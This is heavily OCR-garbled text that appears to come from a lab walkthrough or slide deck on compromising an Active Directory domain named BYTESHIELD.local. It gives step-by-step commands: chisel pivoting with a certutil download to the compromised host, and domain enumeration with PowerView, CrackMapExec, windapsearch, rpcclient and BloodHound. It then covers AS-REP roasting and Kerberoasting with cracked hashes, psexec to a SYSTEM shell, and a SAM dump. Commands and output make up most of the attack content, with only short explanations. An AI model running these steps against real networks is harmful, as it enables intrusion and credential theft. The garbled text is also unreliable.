C$

IPC$

NETLOGON

SYSVOL
t] vith SMB1 L3 :
1o_connect: Con o 45 3.0.147 Tall (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

Reconnec

Jnable to connect with SMB1 -- no workgroup available



POST EXPLOITATION

Proxychains and chisel with CrackMapExec Pivoting

wget
https:/ /github.com /ipillora /chisel /releases /download /v1.9.1 /chisel_1.9.1_linux_ar
mé4.gz -O chisel.gz -q

gunzip chisel.gz

chmod +x chisel

(roots kali)-[~/Tools]
https://github.com/jpillora/chisel/releases/download/v1

(root®s kali)-[~/Tools]
chisel.gz

(root%s kali)-[~/Tools]
cl +xX chisel



POST EXPLOITATION

Downloading chisel for windows

wget

https: / /github.com /jpillora /chisel /releases /download /v1.9.1 /chisel _1.9.1_windows_
amdé4.gz -O chisel-w.gz —q

gunzip chisel-w.gz

—(root% kali)-[~/Tools]
—# wget https://github.com/jpillora/chisel/releases/download/v1.9.
chisel-w.gz

—(root%® kali)-[~/Tools]

L—ﬁ gunzip chisel-w.gz



POST EXPLOITATION

Downloading chisel for windows from our kali box to the compromised host
certutil -urlcache -f http://192.168.0.101 /chisel.exe C:\Users\Public\chisel.exe
certutil -urlcache -f http://192.168.0.101 /chisel.exe C:\Users\Public\chisel.exe

C:\Users\Public>certutil

certutil -urlc:

**x%x% 0n 1 :_ ne *x%%%




POST EXPLOITATION

Editing proxychains.conf file

nano /etc/proxychains4.conf

~ GNU nano 7.2 /'etc/prox:chainsa.con? *

[ProxyList]



POST EXPLOITATION

Running chisel as server in reverse mode on kali

./chisel server --reverse --port 9999

File Actions Edit View Help

(rooté k
ey

&~




POST EXPLOITATION

Running chisel as client on the compromised windows host to connect back to the
server listening on kali

chisel.exe client 192.168.0.101:9999 R:1080:socks

W W PRSP0 e % B B A NN _ 5 " 1O . 101 « O (
s\Users\Public>chisel.exe client 192.168.0.101:9999

client




POST EXPLOITATION

We can now proxychains with nmap to scan the internal network

proxychains4 -g nmap -sT 10.10.1.13 -sV -sC --top-ports=20 -T4 --open




DOMAIN ENUMERATION WITH POWERVIEW
PYTHON

Now we can start enumerating the domain from kali using powerview python
implementation

https:/ /github.com /anigfakhrul /powerview.py
proxychains4 -q powerview BYTESHIELD /p.brown:'P.Password 1'@10.10.1.13

Get-DomainUser -Select 1




DOMAIN ENUMERATION WITH POWERVIEW
PYTHON

Filtering User information

Get-DomainUser -Select samaccountname,memberof,description

: ] ' powerview BYTESHIELD/p.brown
18:10:20] LDAP Signing NOT Enforced!
) . 260.2.23 YT HIELD\NP.Brown
mainusen e L ¢ amaccountname , mem ' YOT ,Q sCcription

Name - Joseph

HIELD, D¢

= 3 ¢+ 4 .
Builtin, D

Builtan, DC=BYTESHIELD, D(




DOMAIN ENUMERATION WITH POWERVIEW
PYTHON

Searching for Kerberoastable account

Get-DomainUser -SPN -Select 1

Admin

Acdmins ,CN

'

NORMA

DONI




DOMAIN ENUMERATION WITH POWERVIEW
PYTHON

Searching for ASREProastable Acoount

Get-DomainUser -PreAuthNotRequired -Select 1

ybilectGUID

{ \ 1
erAccountcontro

wdCount

'dTime . 160 "1

01-01 0O:

N1

countName
Accountiype

1 LName LD.loc:

, CN ont it




DOMAIN ENUMERATION WITH POWERVIEW
PYTHON

Searching for users with admin rights and there group membership

Get-DomainUser -AdminCount -Properties samaccountname,memberof

DAV 190.19.1.15 BY T ESHI v L BTOoOwn

Ge1t LDomainuser AcdminCount PI rties samaccountname, memberot
erof O 1 Admins \ BYTESHIELD, D¢ local

\CCountNnN
emberof : CN=Forelgn uUniversa iroup , CN sers, BYTESHIELD,
CN=Domain Admins,CN=Users,| B SH . Lo

sAMAccountNams : Mike.Johnson

emberoi : N=Domain Rep Gro

\MAcCccountName * Michelle.sSmith

memberoOi

countName

berot

CN=Serv Operators,CN=Builtin, D¢ 3WWTESHIELD,

CN=B: kKup perators,CN=Bulltin, D( 3 YTESHIELD,

CN rint perators,CN=Builtin, D 2 ESHIELD, D¢

countName - Joe.Smith



DOMAIN ENUMERATION WITH POWERVIEW
PYTHON

Enumerating Domain Computers

Get-DomainComputer -Properties name,operatingSystem

OWwWn

e,operatingsystem

(

windows

ROOT-DCO1

Windows Server '@ 19



DOMAIN ENUMERATION WITH POWERVIEW
PYTHON

Domain Computers with Unconstrained Delegation enabled

Get-DomainComputer -Properties name,operatingSystem

LDAP)-{10.10.1.13 BYTESHIELD\P.Brown
<ed -Properties name,Get-DomainComputer -Properties name,operatingSystem
name : WIN10-CLIENT-01

operatingSystem : Windows 10 Enterprise Evaluation

name

s .,.»»‘»4'~,—.“.‘,-‘-,7‘, . 10 u““."."-‘.’r iva i .‘;,',\.
operatingsystem : [0 Enterprise Evaluation

* 2019 Standard




DOMAIN ENUMERATION WITH POWERVIEW
PYTHON

Domain Computer for constrained delegation

Get-DomainComputer -TrustedToAuth -Properties name,operatingSystem

BYTESHIELD\P.Brown

TnCAm + TriietadTAaAn+h Dvranavtiac “ma ARoYatineaCluect o
d COon putel -lrustedloAUtn -¥ro pPEl {1es dllle , 0PEeI'c [ lllﬂ-;.J VS LEll

SQLSRV

MR i oy CAvirg "
Windows Serve 10




DOMAIN ENUMERATION WITH POWERVIEW
PYTHON

Domain Computer for Resource-Based constrained delegation

Ge’r Domquompu’rer RBCD Proper’nes nqme,operq’rmgSys’rem

name,opera TLl“

WS




DOMAIN ENUMERATION WITH POWERVIEW
PYTHON

Domain Groups with admin rights

Get-DomainGroup -AdminCount -Properties name,memberof

mberof
HIELD,D Loca




DOMAIN ENUMERATION WITH POWERVIEW
PYTHON

All Domain Groups

DomainGroup
CN=Adm1
| ‘ ‘”.ll"“i
CN=Doma

Domain

',1_r|[,‘.’

Lon Group

DnsUpda

Dne




DOMAIN ENUMERATION WITH POWERVIEW
PYTHON

Domain Trust relationship




DOMAIN ENUMERATION WITH CRACKMAPEXEC

Enumeration with CrackMapExec

proxychains4 -q crackmapexec smb 10.10.1.13 -u p.brown -p 'P.Password1!' --users

ESHIELD.
[+] BYTESHIELD. loca
[+] Enumerated domain user(s
BYTESHIELD.local\Mark.Joseph badpwdcount

BYTESHIELD.lLocal\Pwned badpwdcount

v 45 R( () BYTESHIELD.local\Samantha.Rawland badpwdcount

a new Employee her Temporary Password SR.Passwordl!
‘ 4’5 R( DCo1l BYTESHIELD.local\Mike.Johnson badpwdcount

f T Ccol BYTESHIELD.local\Jessica.wWilliams badpwdcount
BYTESHIELD.local\Justin.Smith badpwdcount
BYTESHIELD.local\James.Brown badpwdcount

BYTESHIELD.local\Michelle.Smith badpwdcount




DOMAIN ENUMERATION WITH CRACKMAPEXEC

Groups Enumaration

proxychains4 -q crackmapexec smb 10.10.1.13 -u p.brown -p 'P.Password1!' --groups

[+] BYTESHIELD.local
[+] Enumeratec 11n g1 :

IT Admins membercount:
Domain Rep Group membercount:

Stdby admin membercount:
RBCD Group membercount:
SQLServer2005SQLBrowserUser$R00T-DCO1 membercount:
Foreign Universal Group membercount:
Foriegn Group Members Local membercount:
DnsUpdateProxy membercount:
DnsAdmins membercount:




DOMAIN ENUMERATION WITH CRACKMAPEXEC

Password Policy enumeration

proxychains4 -q crackmapexec smb 10.10.1.13 -u p.brown -p 'P.Password1!' --pass-
pol

[+] : ) I

Minimum password length: 7

Password history length: 24

Maximum password age: 41 days 23 hours 53 minutes

Password Complexity Flags: 000001
Domain Refuse Password Change: @
Domain Password Store Cleartext: 0
Domain Password Lockout Admins: ©
Domain Password No Clear Change: 0
Domain Password No Anon Change: ©
Domain Password Complex: 1

Minimum password age: 1 day 4 minutes
Reset Account Lockout Counter: 30 minutes
Locked Account Duration: 30 minutes
Account Lockout Threshold: None

Forced Log off Time: Not Set




DOMAIN ENUMERATION WITH CRACKMAPEXEC

Shares Enumeration

proxychains4 -q crackmapexec smb 10.10.1.13 -u p.brown -p 'P.Password1!' --shares

[+] BYTESHIELD.local\p.brown:F
[+] Enumerated shares

Share Permissions Remark

ADMINS Remote Admin
BS-Share READ,WRITE

c$ Default share

IPCS READ Remote IPC
NETLOGON READ Logon server share
SYSVOL READ Logon server share




DOMAIN ENUMERATION WITH CRACKMAPEXEC

Enumerating Domain Computers

proxychains4 -q crackmapexec smb 10.10.1.13 -u p.brown -p 'P.Password1!' --
computers

[+] BYTESHIELD.loca

[+] Enumeratec 31 uter
BYTESHIELD.local\SQLSRVS
BYTESHIELD.local\FILE-SERVERS
BYTESHIELD.local\Win10-Client-01$

BYTESHIELD.local\ROOT-DCO1$



DOMAIN ENUMERATION WITH CRACKMAPEXEC

Ldap search for users and groups with admin rights

proxychains4 -q crackmapexec Idap 10.10.1.13 -u p.brown -p 'P.Password1!' --

[+] |
Administrator
Administrators
Print Operators
Backup Operators
Replicator

krbtgt

Domain Controllers
Schema Admins
Enterprise Admins
Domain Admins
Server Operators
Account Operators
Read-only Domain Controllers
Key Admins
Enterprise Key Admins
David.wWilliams
sSql_Service
Joe.Smith
Lisa.Jones
Michelle.Smith
Mike.Johnson
Domain Rep Group
Pwned

IT Admins



DOMAIN ENUMERATION WITH CRACKMAPEXEC

Gettiing user’s sid

proxychains4 -q crackmapexec Idap 10.10.1.13 -u p.brown -p 'P.Password1!' --get-

[+] BYTESHIELD. local

Domain SID S-1-5-21-2650123447-3108711000-1796582875



DOMAIN ENUMERATION WITH WINDAPSEARCH

Windapsearch installation

git clone https://qgithub.com/ropnop /windapsearch.git

cd windapsearch
apt-get install -y libldap2-dev libsasl2-dev libssl-dev
pip install python-Idap

pip install -r requirements.txt


https://github.com/ropnop/windapsearch.git

DOMAIN ENUMERATION WITH WINDAPSEARCH

Enumerating domain Users with windapsearch

proxychains4 -q python3 windapsearch.py -d BYTESHIELD.local -u
BYTESHIELD\ \p.brown -p 'P.Password1!" -U

python3 windapsearch.py BYTESHIELD. local BYTESHIELD\\p

No DC IP provided. Will try to c

Y
Using Domain Controller at: 10.10.
Getting defaultNamingContext from

Found: DC=BYTESHIELD,DC=local

Attempting bind
.. success! Binded as:
U:BYTESHIELD\P.Brown

Enumerat 1Ng 4a ] L AD users

Found 18 users:




DOMAIN ENUMERATION WITH WINDAPSEARCH

Enumerating privilege users

proxychains4 -q python3 windapseqrch py -d BYTESHIELD.local -u
BYTESHIELD\\p brown P PP0|ssworcHI PU

Y TESHIELD

yHIELD\P.Brown

enumerate

S HIELD, D¢

min




DOMAIN ENUMERATION WITH WINDAPSEARCH

Enumerating kerberoastable users

proxychains4 -q python3 windapseqrch py -d BYTESHIELD.local -u
BYTESHIELD\\p brown - p 'P.Password1!' --user-spns

DC IP provided. Will try to discover
g Don nll] Ccontrc

||\11P\

Found:
ATTempTing bind

. success! Binded as:
U:BYTESHIELD\P.Brown
| Attempting to enumerate all User objects
Found 1 Users with SPNs:

N=Users,DC=BYTESHIELD,DC=1local




DOMAIN ENUMERATION WITH WINDAPSEARCH

Enumerating Domain admins

proxychains4 -q python3 windapsearch.py -d BYTESHIELD.local -u
BYTESHIELD\ \p.brown -p 'P.Password1!" --da

python3 windapsearch.py

ded. will
Controllex

etting defaultNamingConte x

Found: D¢ BYTESHIELD, D¢
emptain DaIANd
> S Binded
BYTESHIELD\P.Brown
enumera e

na 1L n




DOMAIN ENUMERATION WITH WINDAPSEARCH

Enumerating Groups

proxychains4 -q python3 windapseqrch py -d BYTESHIELD.local -u
BYTESHIELD\\p brown - P 'P.Password1!' -G

N=Builltin, D¢ BY

BYTESHIELD, D¢

1, D¢




DOMAIN ENUMERATION WITH WINDAPSEARCH

Enumerating Domain Computers

proxychains4 -q python3 windapseqrch py -d BYTESHIELD.local -u
BYTESHIELD\\p brown -p 'P.Password1!' -C

N3 windapsearch.py

ed. will cry
ontrolLler L

defaultNamingContex

ound: D« BYTESHIELD,I
ting bind

success! Binde«

S YTESHIELD




DOMAIN ENUMERATION WITH WINDAPSEARCH

Enumerating Computers with unconstrained delegation enabled

proxychains4 -q python3 windapsearch.py -d BYTESHIELD.local -u
BYTESHIELD\ \p.brown -p 'P.Password1!" --unconstrained-computers

python3 windapsearch.py BYTESHIELD. Local BYTESHII

Lo

LENamingConte
BYTESHTIELD, D¢
ting bind
success! Binded 1S
YTESHIELD\P.Brown
LNg to enumerate r L | computel

computer: with uncon 1

,,,,,,,,
Doma 1L nNnwo



DOMAIN ENUMERATION WITH WINDAPSEARCH

Enumerating all Objects with protected Acls

proxychains4 -q python3 windapsedrch py -d BYTESHIELD.local -u
BYTESHIELD\\p brown -p 'P.Password1!" --admin- ob|ec’rs

/thon3 windapsearch.py S YTESHIELD. Loc: YT HIELD

1 No DC IP provided. will Lo d1l1scovi Vi I INS ookup.
Using Domain Controllei
etting defaultNamingConte
Found: D¢ BYTESHIELD, D¢
empting bind
success! Binded £-
U:BYTESHIELD\P.Browi
npting to enumerati
Found 6 Acdmin Objec

ministrator, CN=USs¢

ELD, D
ESHLIELD, D(

I (
D, D¢




DOMAIN ENUMERATION WITH RPCCLIENT

Enumeration with Rpcclient

proxychains4 -q rpcclient -U p.brown 10.10.1.13

srvinfo

# proxychainsé rpcclient
Password for [WORKGROUP\p.brown]:
rpcclient $ 1info
command not found: info

rpcclient $ srvinfo

10.10.1.13 Wk Sv Sql PDC

platform_id : 500

0S version : 10.0

server type : 0x80102T




DOMAIN ENUMERATION WITH RPCCLIENT

Querying Domain information

querydominfo
rpcclient $ querydominfo
Domaln: BYTESHIELD
Server:
omment:
otal Users:
al

otal

. \ «lL-
)T

-
-
)
b §
|
C

Sequence

Force Logoff: =1

Domaln Server State: 0x1
Server Role: ROLE _DOMAIN_PDC
Unknown 3: 0x1




DOMAIN ENUMERATION WITH RPCCLIENT

Domain users Enum

rpccl

us

rid: [@
=.Smith] rid:|




DOMAIN ENUMERATION WITH RPCCLIENT

Domain Group Enum

enumdomgroups

','_1'(r11‘\'

onl

Doma
DOm:
Doma comput

)oma 1.1 Contr

iImin

Group |

1cAmauilt




Rpcclient has hundreds of commands we can use for enum and exploitation to know more about
the commands type help when you in rpcclient shell, here are some of them

netshareenumall Enumerate all shares
netsharegetinfo Get Share Info
netsharesetinfo Set Share Info
querydominfo Query domain info
enumdomusers Enumerate domain users
enumdomgroups Enumerate domain groups
enumalsgroups Enumerate alias groups

enumdomains Enumerate domains



DOMAIN ENUMERATION WITH BLOODHOUND

BloodHound is an Active Directory (AD) reconnaissance tool that can reveal hidden
relationships and identify attack paths within an AD environment.

bloodhound.py is typically associated with BloodHound, a tool used for Active
Directory (AD) privilege escalation and analysis. BloodHound is designed to help
security professionals and penetration testers identify and analyze potential security
risks within an Active Directory environment.

The Python script bloodhound.py is a part of the BloodHound project and is used to
interact with the BloodHound REST API. The REST API allows users to query the
BloodHound database for information about the Active Directory environment,
including details about users, groups, permissions, trust relationships, and more. By
using the bloodhound.py script, users can automate queries and gather valuable
information to assess and improve the security of an Active Directory infrastructure.
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Installing Python based ingestor for BloodHound

sudo apt install bloodhound.py

one
Done
Done
AL B

dhound. py
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Installing Bloohound Graphs together with neo4j

apt-get install bloodhound
File Actions Edit View Help
(root® kali)-[~]
install bloodhound
' Done
Done

DanAl ] ™~ ls= s T et e
Nﬁmd;Hg paCkKag L1sts ..

Building dependency

S
T TNp——
{

Reading state i1nforma
bloodhound 1s alre

Y upgraaed

NEWw f | E . ) ali \/ |
] J WLy LAl LA L LG ] .V L CINIVY O 4 i

You can see mine is already installed
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Bloodhound ingestor have been installed we will use it to collect active directory data
to feed Bloodhound Gui for analysis

proxychains4 bloodhound-python -v --zip -c¢ All -d BYTESHIELD.local -u 'p.brown’ -p
'P.Password 1!' --dns-tcp -ns 10.10.1.13 -dc ROOT-DCO1.BYTESHIELD.local

4 bloodhound-python
10.10.1.13

hains] config file found:
ains] prelwading 11
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Running neo4j and bloodhound Gui

File Actions Edit View Help

<ol
alLcl

A Tut




DOMAIN ENUMERATION WITH BLOODHOUND

Authenticating to neo4j server, Note at first you will be asked to change the default

-

BLOODHOUND

Log in to Neo4j Database

bolt://localhost: 7687

B Save Password
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Analyzing the collected data
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Users and Computers with Domain admins rights

L=

PWNED@BYTESHI

MIKE.JOHNSON@BYTES CAL
SQL_SERVICE@BYTESHIELD. ~
[= T e
DAVID.WILLIAMS@BYTESHIELD.LOCAL === @

[= DOMAIN ADMINS@BYTESHIELD.LOCAL
ADMINISTRATOR@BYTESHIELD.LOCAL =

MICHELLE.SMITH@BYTESHIELD.LOCAL

DOMAIN REP GROUP@BYTESHIELD

WSO01.BYTESHIELD.LO

WINT0-CLIENT-02.BYTESHIELD.LOCAL
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Users and Groups with DCSync rights

DOMAIN ADMINS m-.;@'-"@-,- e
ADMINISTRATORS @Y TESHI
PBROWN@BY B2
ENTERPRISE ADMINGEY TESHIELD L
ADMINISTRATORGEYTESHIELD.LOCAL
SQL_SERVICE@BRMIESHIELD LOCAL
IT ADMINS @BYg§SHIELD.LOCAL —— = =
JOE,SMITH@BW—'QHIFI DLOCcCAL
DAVID. WILLIAMS G TESHIELDLOGAL
MIKE. JOHNSON G TESHELD+OCAT
PWNED@BY TEGHIELDAOSAT
DOMAIN REP GROU RS
MICHELLE.SMITH
WS01.BYTE
WIN10-CLIENT-02
ROOT-DCO1.BYTESHIELD.LOCAL

vn &

2
BYTESHIELD.LOCAL
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Kerberoastable User

-4

GROUP POLICY CREATOR OV-VNERS@)BYTESHIELD.LOCAL

=

~ DOMAIN ADMINS@BYTESHIELD.LOCAL

SQL_SERVICE@BYTESHIELD. —

\ ENTERPRISE ADMINS@BYTESHIELD.LOCAL

=

ADMINISTRATORS@BYTESHIELD.LOCAL
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The user we are in control of has local admin rights in 2 machines

SQLSRV.BYTESHIELD.LOCAL

—
—///,_
A
_—4-’/
/
@
Rl
PBROWN@BYTESHIELD.LOC
\\

(&
WINTO0-CLIENT-01.BYTESHIELD.LOCAL
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Also the has some rights over the domain object

£
< A WUINTONCLIENT-O1 BYTESHIELD LOCAL

PBROWNG@mBYTESHIELD. LOC




DOMAIN PRIVILEGE ESCALATION

AS-REP Roasting is a technique used in Kerberos attacks to extract password hashes
from Active Directory without directly brute-forcing the user's password. Kerberos is a
network authentication protocol that is widely used in Windows environments.

In the context of AS-REP Roasting:

AS-REP Ticket: When a user attempts to authenticate to the domain, the Key
Distribution Center (KDC) issues a Ticket Granting Ticket (TGT) in response to an
Authentication Service Request (AS-REQ). This TGT is encrypted with the user's hash.

AS-REP Roasting: In AS-REP Roasting, an attacker targets users who have not set pre-
authentication on their accounts. Pre-authentication requires the user to prove
possession of the password before receiving the TGT. However, if pre-authentication
is not enforced, an attacker can request a TGT without actually knowing the user's
password.



DOMAIN PRIVILEGE ESCALATION

Extraction of Password Hashes: The attacker sends a special AS-REQ request to the Key
Distribution Center (KDC), requesting a TGT for a specific user without including pre-
authentication data. If the target user has not enabled pre-authentication, the KDC responds
with an AS-REP (AS-REP Ticket) containing the TGT encrypted with the user's hash. The attacker
captures this response.

Password Hash Cracking: The attacker can then attempt to crack the user's password hash
offline. Since the AS-REP Ticket is encrypted with the user's hash, cracking the hash reveals the
user's password.

AS-REP Roasting is effective when organizations have not enforced pre-authentication for user
accounts. To mitigate this attack, administrators should ensure that pre-authentication is
enabled for all user accounts in the Active Directory environment. Additionally, strong
password policies and regular monitoring of authentication logs can help detect and respond
to suspicious activities.



DOMAIN PRIVILEGE ESCALATION

ASREPRoasting Attack with impacket

proxychains4 -q impacket-GetNPUsers BYTESHIELD.local /mark.joseph -no-pass
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Cracking the TGT with hashcat

.\hashcat.exe -a 0 -m 18200 .\hashes.txt .\PasswordList.txt

S C:\Users\mohas\Desktop\hashcat-6.2.6> .\hashcat.exe 1820 .\hashes.txt _\PasswordList.txt
nashcat (vb6.2.6) starting

ither the specified hash mode does not exist in the official repository,

r the file(s) could not be found. Please check that the hash mode number is
orrect and that the files are in the correct place.

he wordlist or mask that you are using i1s too small.

his means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.

For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

$krb5asrep$23$mark. joseph@BYTESHIELD.LOCAL : abbdc9d165059309f02e20d91b36d1ch$a3cccbded466a4645253055ed847485b87159d6755a0chd4f965b9d8
eafl/118239d35c496f4c2/d4ac9dT3892448b05c654bb3d6456b6068a8aebed61fc340d/311/dbeldcd/9a4413b3d5c3bf19e26ec526c0548861150634e981b43
a32bba38d/cae/6e8ffcl8ed 28bf4febThbd7439c4cT9876201845c8b660231d606ec/8b27d91b0edd5b58d5667/ c4clfc2539arf086b88c0dae88df587ffc4d359d8ef
e9102/7161d16af66659a84412b311d694bd2348256b2a%63a2ffba9834b386d403189c14102e71d08F27e863730af10af/2d065al16b9fa5af8a2cd5/8eclafcof8
ab4950ef28588d7596cel3295febef57315c:MJ. Passwordl!
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ASREPRoasting with CrackMapExec

proxychains4 -q crackmapexec Idap ROOT-DCO1.BYTESHIELD.local -u users.txt -p " -
-asreproast asreproast.out

rackmapexec ldap ROOT-DCO1.BYTESHIELD.local users.txt

ROOT-DCO1 Windows 10.0 Build 17763 x64 (n
ame : ROOT-DCO 1“ (domain:BY S% ufaaij ’gigﬂimf:Trué) (SMBv1:False)
ROOT- Dlu uVlFShTrLU.Ju(i* 445 ROOT-DCO $krb5asrep$23$Mark.Joseph@BYTESHIEL

.LOCAL: 22a657aee431a79445ca136c8caf4627$5876d63c937f52bb7fah7f2865fdf02cdh9380e225fb7d508a86105b9
53093412bdf1030eb84c65¢c74d8d25201b926101225062929fd6496dc585485e391ed6¢892ad327bbb5¢cf23¢7d393902cd
76a5cde2a9d50909dc3303452921c4ce9c99566fc165b2768¢c186a17e868b30c574dbac916a302345022301cd8a48c612f
8b5e4cd46894d121b3c7f5f9e50a919f51a3f66a83d07eb99b022f2105¢ca5007fa23632b5a8629d978ae011394947e141
le6¢c73a7b3a27¢5992710d5e01d2bd71a6dcbh7aad8825fc5dc47¢c2a78e0603cefc357¢c091832f2e4724baa5e04b1926510
P26a847a4263f843b69a5c1cdb8edebb715e9de




Cracking Hashes with John

john --wordlist=PasswordlList asreproast.out

asreproast.out
UTF-8



DOMAIN PRIVILEGE ESCALATION KERBEROASTING

Kerberoasting is an attack technique used in Active Directory environments to obtain
Ticket Granting Ticket (TGS) service tickets and later crack the Ticket Granting Ticket
(TGS) to retrieve the password hashes of domain user accounts. This attack takes

advantage of the weakness in how service tickets are encrypted with the user's hash.

Attack Overview:

Service Tickets: When users authenticate to the domain, the Key Distribution Center
(KDC) issues a Ticket Granting Ticket (TGT). Users can then request service tickets to
access specific services.

Service Tickets Encryption: Service tickets are encrypted with the user's hash, and the
Key Distribution Center (KDC) does not verify the user's identity when issuing these
tickets.



DOMAIN PRIVILEGE ESCALATION KERBEROASTING

Kerberoasting Attack: An attacker can request service tickets for services such as
Microsoft SQL Server that use service accounts. These service tickets are encrypted
with the service account's hash.

Offline Cracking: The attacker captures the encrypted service tickets and can attempt
to crack the hashes offline. If successful, the attacker gains access to the service
account's plaintext password.
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Kerberoasting with Impacket

proxychains4 -q impacket-GetUserSPNs BYTESHIELD.local /p.brown
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Requesting the TGS of the Service account for offline cracking

proxychains4 -q impacket-GetUserSPNs BYTESHIELD.local /p.brown -request
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Cracking the TGS with hashcat

.\hashcat.exe -a 0 -m 13100 .\service_tgs.txt .\PasswordList.txt

PS C:\Users\mohas\Desktop\hashcat-6.2.6> .\hashcat.exe 13100 .\service_tgs.txt .\PasswordList.txt
hashcat (v6.2.6) starting

successfully initialized the NVIDIA main driver CUDA runtime library.

Failed to initialize NVIDIA RTC library.

bkrb5tgs$23$%5q1_Service$BYTESHIELD. LOCAL $BYTESHIELD. local/Sql_Service*$cbf357bcefd5815a582b40bc0b66c034$e1448ac1322f0cale31ccel’ e’
B5064dd4a815c3ed09130b523c470752756c4750646c04911F6b42077b34c15F36721c3ac0fela3584ch421afcb0c5e13542102b10492477235Fe754c8ef168d2ch
1f688d172d5e4d304ad9b83116e86ff4afd7aelf1798099b3d498a5f6eab2c08934515ccebed £7356676b41959eat75051140ca9t1af664f0f341cec24f5fc21216
17d53eb76deec5c3589e8aeb3103cda/012ff3a451e40856bcd3de8c5d0db28754f10eb3ada586dec05ddbcbecdbcfd363d67fb41331cfd0016caad382a02a5¢ebb2e
/3c6f38bc93t25ee35bcdfc333dedd523353d83326ab3e938eledefbe09de/bdachl31df461fe7/bec324ba87ebfd47af6db966355bT0373bf37ac92673bd8cf26a5ec
dd058ca9d08a529633db7e7/91adc58314c1d70ff4c91ca9tf939d32c4c4799520b5¢c8378d25ded34f26b66c5621d05ef426e34196f2ecef3aed4960fb41b86b26155
B2dd4fb9df21b74c5371eec5d915a6dlebl43ccaldce519921d3a97 efe371d11497eda%9e559171a63dad3fcef32c6316ddc705995Fc92c83a4360a9069b1ba7 fledf]
Pc10bced67a3410218b36elbf21878a236c6d8ed88a75ad0eeed f9c22044b68036ec886d755b76e7bb4143c986157193983a7d0cefeadthcd00126771F95019d9b8e
f2dcab0d4c157a4800e29a6471b5f9cd0b7eb4db928378ad834d3e5fa90f1027dcc2a39d7e88d057dd3d8e3854577d918adblec539a6d6461c2482b65bf487140302
6dc5e824741982253a2f1953FFf1c10641ef2b60e91ba5bf33d3be96d5cf6783e7fad30eatdf417a8860914cab/befb6259cca?b/bea574343fe3a710al19c3d7cf43
9b35e30437be29bTbb02dc487 24ea78555b3e208f511344Tb10676620e404930126c875ea/c25cTa9t08849539d233838ed8799b4d783b9a302158d104346c69936
B5512dc6161231d7d2e5281d845161c900ecObdb21c0e7 fb0d2e8b0be8df88464aeb239508fd3561bc54f2d69a2acc514bff726b6a0c255d67cbc3704c8aal882300
D54356513076599dce7aaa531c7df2al6a8eab733e389079d28ar53d43ec8238a16d1050fcd00ebc3fbfdb0ale3a05a41fd84abb03765d477d72742e67c6250
)cda5b84e63e696bb2d09e75c8e5b6040bal250be33946e23fb1f14c6150825704b5a3921al1d67e01f4821elbb8cab2aba2l42dechbed56f2d7 f43c3b7c02fbab/7
2f1c0ffb8c9bac036739ac33dab210aec49cdcb77efcb64a2cd41565cad1673c36856383499chd5e0cd0e07 ae8611504d9e81FF88d9832b35a1a2037b40f11922276)
b1 0alalc9ad9tc35d80bde/dca’79bd21c56579b7dbc7 :S. Password]l !
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Kerberoasting with CrackMapExec

proxychains4 -q crackmapexec Idap ROOT-DCO1.BYTESHIELD.local -u p.brown -p
'P.Password1!" --kerberoasting kerberoasting.out

[+]

‘ sAMAccountName: Sql_Service memberOf: CN=Group Policy Creator Owners,CN=Users,DC=f
YTESHIELD, DC=local pdeastSet: 2023-11-20 09:14:32.545088 IastLogon 2023-11-26 18:27:55.605262

Skrb5tgs$23$+Sql_Service$BYTESHIELD.LOCAL$BYTESHIELD.local/Sql_Servicex$52f5d300e¢
1f617cbksf8d5f3553b6f8$8773e096b30b06836b35791771e1b8d1haf35acb11667802b3c2c613b1251a778c13Aa359211f94895d50f7099a8c00db63bdch232caa05d19aced93fl
8b8b4e813da6as83d3bfb728c0119af8chbccl1b9e1294e4b0522439bcef75350169d86b0%aacdebc327ea069f63e54c94a8becl4d26ae4c30a52ae54a1080272852349a143cddee783}
b72afob25efd97fd397b64bb05c9737¢c08b4e4725698b1a7445ad7¢c9540048b01F3b9d2826b0b28b4297cb2¢cf1a2658744657callcac8c0f97¢cc286a0e9f9990074d389147F810284
dif4f3ecde3b173e0f33d8f48ba22517F12e4bd38d31¢c1c1eb87bdf7bb66535318a92a02771d8a496738755257¢17252348a16b9%6a1d3516a454c6550e0e3da7ba70deed0367efady
f8a70757d6¢cel7b4chbdc07b224596637eb2f1ded53e5079dfal19714968eb72321e15636FF7915738424553e6bbfa9649b20fb1d3dbff93f135dbe85a6972a351f872186e3569204
55a994875afe6fb5ad88faba3567431116a904863bas5f804dc50d4aae7765f6e%9aa3a22831f5f6eddb500341c4debaa9a5d708Ff7e5b29991f96708622da3e3eb82ff93c3b6c9966d
0fc853688bf9db4an4a293bd4b0e846ba982181629e4c582ab8664504c8e6338ccas5d43650e713¢c95b146TFfc02a9088d36¢cc9d81fbed8980805ab018f850a15b104832277e00dele
d97e59ec7¢72ff83132023a0b04T347T335fe97809¢e87192bbbdfas3234a4ed84bad%1c4938baec44b06d09bebb2f74883Ffbde473971fbfd5¢c6f35b8b87e42a€19851aa49215b86¢98
03f46b3ab02f77640056ab36e3d56b27b34c81603212549dd93745a3828b5¢c24679d048148F06dfc5acd47846dbd371222951033b43c2ac6fa35dbh86e9572298b3297343e542960d4
0fb2b3386f00a2fcli2ebde247c02b36bal153dd1c3dfa67b3528c7ef661c47150108e94831a0af4149df53291e4efd65faef7¢c82599271f8a003a013685ae2432ac0fcd92b483bcfy
ab8bbc0d463fbdo4eb459del12¢c4a01293f6ddc6874Fdc67FfF95978d79266d754F5d924459decd2b131ebcf2f3bb75998499eaa01ce585fc218c1639757c458b2d06dbb2850832719¢
f334d9d71c77622298edd600336939cf9979058da2fec82e4ae8f38391453¢c96ef7c5177742929a343220c8eef77784e1d236afe7576172801e69ebf6c8dadl3el1df2b88860c4cch
df3f01dc54317089b22b2d286fd6bcf9c0e538e5a26925577bb1fa9647f9afal11319b47bes410c7425a30965¢c1b3310baa6928b588d312b36bc2dbffaaf4b6353701e347¢c1181b9%bed
a465cfo4bo7fb72bfcl0afc813e0dbtces91daf60edS5ce3bsstS4ae72728




Hash Cracking with John

john --wordlist=PasswordLlist kerberoasting.out

kerberoasting.out

TGS etype 23 [MD4 HMAC-MD5 RC4])

key for status
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Now we can use the discovered service account credentials to interact with the
domain controller since the service account is member the domain admins, we
successfully spawn system shell

proxychains4 -q impacket-psexec
BYTESHIELD /Sql_Service:'S.Password 1'@10.10.1.13
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Using Crackmapexec to dump system secret files with the discovered credentials

proxychains4 -q crackmapexec smb 10.10.1.13 -u sql_service -p 'S.Password 1!
sam

